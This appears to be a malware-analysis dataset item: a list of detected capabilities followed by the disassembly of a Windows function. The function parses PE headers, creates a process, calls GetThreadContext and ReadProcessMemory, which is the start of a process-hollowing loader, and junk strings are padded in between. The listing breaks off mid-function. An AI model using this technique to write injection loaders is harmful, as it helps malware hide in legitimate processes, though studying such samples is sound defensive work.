Function at 0x402e80
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Enumerate pe sections
Execute shellcode via indirect call
Parse pe header
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x425216
mov eax, dword fs:[0]
push eax
sub esp, 0x964
mov eax, dword [0x446278]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x8a4], str.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
push 0x400
lea eax, [ebp - 0x810]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x87c], ecx
mov dword [ebp - 0x8e0], str.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
mov edx, dword [ebp - 0x87c]
movzx eax, word [edx]
cmp eax, 0x5a4d
jne 0x40338f
mov dword [ebp - 0x8e8], str.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
push str._t1_if
call fcn.00405bb0
add esp, 4
mov ecx, dword [ebp - 0x87c]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x864], edx
mov eax, dword [ebp - 0x864]
cmp dword [eax], 0x4550
jne 0x40338f
mov dword [ebp - 0x89c], str.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
push str._t2_if
call fcn.00405bb0
add esp, 4
push 0x44
push 0
lea ecx, [ebp - 0x858]
push ecx
call fcn.0040bec0
add esp, 0xc
push 0x10
push 0
push 0x447644
call fcn.0040bec0
add esp, 0xc
mov dword [ebp - 0x8dc], str.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
push 1
lea ecx, [ebp - 0x814]
call fcn.00405350
lea ecx, [ebp - 0x814]
call fcn.00402560
mov dword [ebp - 4], 0
push 0x42b094
lea ecx, [ebp - 0x814]
call fcn.00402d30
mov edx, dword [ebp + 0xc]
push edx
lea ecx, [ebp - 0x814]
call fcn.00402d30
lea ecx, [ebp - 0x814]
call fcn.00403da0
mov dword [ebp - 0x894], eax
push 0x447644
lea eax, [ebp - 0x858]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
lea ecx, [ebp - 0x814]
call fcn.00402ba0
push eax
lea ecx, [ebp - 0x970]
call fcn.004025c0
mov dword [ebp - 0x88c], eax
mov ecx, dword [ebp - 0x88c]
mov dword [ebp - 0x888], ecx
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x888]
call fcn.00402ba0
push eax
call fcn.0040c011
add esp, 4
push eax
lea edx, [ebp - 0x810]
push edx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [ebp - 0x890], eax
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x970]
call fcn.004028b0
cmp dword [ebp - 0x890], 0
je 0x40337d
mov dword [ebp - 0x8cc], str.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
push str._t3_if
call fcn.00405bb0
add esp, 4
mov dword [ebp - 0x86c], 0
push 4
push 0x1000
push 4
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x86c], eax
mov eax, dword [ebp - 0x86c]
mov dword [eax], 0x10007
mov dword [ebp - 0x8ac], str.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
mov ecx, dword [ebp - 0x86c]
push ecx
mov edx, dword [0x447648]
push edx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x40337d
push str._t4_if
call fcn.00405bb0
add esp, 4
push 0
push 4
lea eax, [ebp - 0x85c]
push eax
mov ecx, dword [ebp - 0x86c]
mov edx, dword [ecx + 0xa4]
add edx, 8
push edx
mov eax, dword [0x447644]
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov dword [ebp - 0x8ec], 0x42e7e8
push str._t4_if2
call fcn.00405bb0
add esp, 4
mov ecx, dword [ebp - 0x864]
